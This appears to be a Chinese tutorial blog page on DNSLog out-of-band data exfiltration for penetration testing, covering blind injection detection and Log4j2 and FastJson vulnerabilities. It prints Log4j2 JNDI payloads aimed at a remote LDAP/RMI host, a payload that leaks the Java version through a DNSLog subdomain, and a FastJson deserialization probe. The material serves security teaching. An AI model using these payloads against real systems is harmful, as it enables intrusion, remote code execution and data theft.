当前位置: 首页 > news >正文

解密DNSlog

一.什么是DNSLog

DNS的全称是Domain Name System(域名系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如xx.xx.com,网络上的DNS Server会将该域名解析,并找到对应的真实IP如11.11.11.11,使用户可以访问这台服务器上相应的服务。

DNS服务器在解析的过程中其实会记录日志,这个日志我们便把它称为DNSLog的日志。

DNSLog是一个DNS请求记录平台,可以记录和分析DNS请求的详细信息,包括请求来源、目标域名、请求时间和响应状态等。

DNSLog可以用于网络安全领域的渗透测试、漏洞挖掘等方面。DNSLog的原理是利用DNS协议的特性,将需要收集的信息编码成DNS查询请求,然后将请求发送到DNS服务器,最后通过DNS服务器的响应来获取信息。

DNSLog的实现方式有很多种,其中最常见的是使用第三方DNS服务。

DNSLog的优点是隐蔽性高,缺点是响应时间较慢和存在一定的误报率。

通俗来说,就是如果开启了DNSLog,那么DNSLog上面就会记录一条日志:什么时间,什么请求IP,什么域名,解析的什么IP。

一些第三方的DNSLog平台:

DNSLOG Platform(无需登录,优点是生成的子域名是临时的)

CEYE - Monitor service for security testing(需要登录,优点是生成的域名是长期的且解析记录会一直保留)

http://dnslog.cn/

http://dnslog.pw

大致流程演示:

首先在DNSLog平台生成一个域名:

因为DNSLog会有日志记录,只要有人访问它,就会生成记录:

在浏览器上访问生成的域名:

就会在产生对应的访问日志:

二.在渗透测试中的应用

在做漏洞探测的时候,比如SQL注入,SS注入,命令执行等等,我们通常会构造一个验证漏洞的payload,当这个payload发送给服务器之后,服务器执行了我们的payload,服务器会返回给我们一个HTTP的响应。

如果服务器存在漏洞,这个返回的响应里面通常包含了我们想要的结果。比如,我们在执行命令注入时,可以通过返回界面的内容,来让我们判断是否有命令执行漏洞。这种服务器有响应信息的,我们叫做有回显注入。

但是在某一些情况下,这个网站本身是存在漏洞的,但是它并不会在响应里面返回信息,导致我们无法判断当前页面是否存在漏洞。这种就是没有回显,在这种情况下我们要如何去获得我们执行的结果呢?这就需要用到DNSLog。

2.1 DNSLog数据外带

DNSLog数据外带包括:命令执行、xss注入、SQL注入、ssrf、xxe、解析类漏洞(如:log4j2漏洞、fastjson反序列化漏洞等

我们在构造渗透测试语句的时候可以添加DNSLog的地址,如果存在漏洞,被攻击者就会去进行域名解析,我们就能从日志得知漏洞信息。

例如,我们生成一个域名,然后在本地去ping:

如果我们自己构造一个子域名然后去ping,会发现拼接的子域名也会显示:

我们就可以利用这个特性,去将系统命令拼接原有域名,然后ping,把信息带出来。

例如,获取系统信息:

Windows系统的一些属性:

Linux系统同理

注意:因为子域拼接是不能带有

2.2 利用解析类漏洞(如:Log4j2漏洞、fastjson反序列化漏洞等)
log4j2漏洞

log4j2的DNSLog数据外带

payload:${jndi:ldap:10.10.10.10:7777/shell}

payload:${jndi:rmi:10.10.10.10:7777/shell}

#log4j2组件会将信息记录到日志中

日志中包含${},log4j在日志输出中,未对字符合法性进行严格的限制,遇到${,jndi接口通过lookup()方法解析括号中的内容rmi:10.10.10.10:7777/shell,解析到 ldap/rmi,就会去10.10.10.10的ldap/rmi服务找名为shell的资源,如果找不到就会去http服务中找。在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入。攻击者就可以通过shell实现任意的命令执行。

log4j2可以外带的数据${jndi:ldap://$ {sys:java.version}.xx.dnslog.pw},因为log4j是Java的环境,所以可以来获取Java的一些属性

FastJson漏洞

FastJson通过DNSLog进行漏洞探测

FastJson反序列化漏洞是利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

FastJson通过DNSLog探测漏洞{"a":"@type":"java.net.Inet6Address","val":"dnslog"}}

相关文章:

  • FTP服务
  • 「软件设计模式」单例模式(Singleton)
  • Python的那些事第二十三篇:Express(Node.js)与 Python:一场跨语言的浪漫邂逅
  • MySQL DELETE 语句
  • 数据结构6-二叉树、时间复杂度
  • C# 使用FreeSpire.doc 生成带有页码的目录
  • 力扣 438.找到字符串中所有字母异位词
  • osgearth视点坐标及鼠标交点坐标的信息显示(七)
  • 仿叮咚买菜鸿蒙原生APP
  • rabbitmq五种模式的实现——springboot
  • 线性代数中的正交和标准正交向量
  • 数据结构:顺序表
  • flutter 专题四十八 Google发布Flutter 2.0正式版,支持全平台程序构建
  • 如何在不依赖函数调用功能的情况下结合工具与大型语言模型
  • ranges::set_intersection set_union set_difference set_symmetric_difference
  • ollama本地部署 deepseek离线模型安装 一套从安装到UI运行
  • 【系列专栏】银行IT的云原生架构-存储架构-数据库部署 10
  • python+halcon 解读labelme标注生成marksimage
  • 【ISO 14229-1:2023 UDS诊断全量测试用例清单系列:第十九节】
  • Jetpack Compose系列教程之(10)——State及remeber
  • 神十九飞船已撤离空间站,计划于今日中午返回东风着陆场
  • 新华社评论员:汇聚起工人阶级和广大劳动群众的磅礴力量
  • 柳州警方通报临牌车撞倒行人:扣留涉事车辆,行人无生命危险
  • 【社论】用生态环境法典守护生态文明
  • 伊朗港口爆炸致18死800余伤,三分之二伤者已出院
  • 30天内三访中国,宝马董事长:没有一家公司可以在全球价值链外独立运行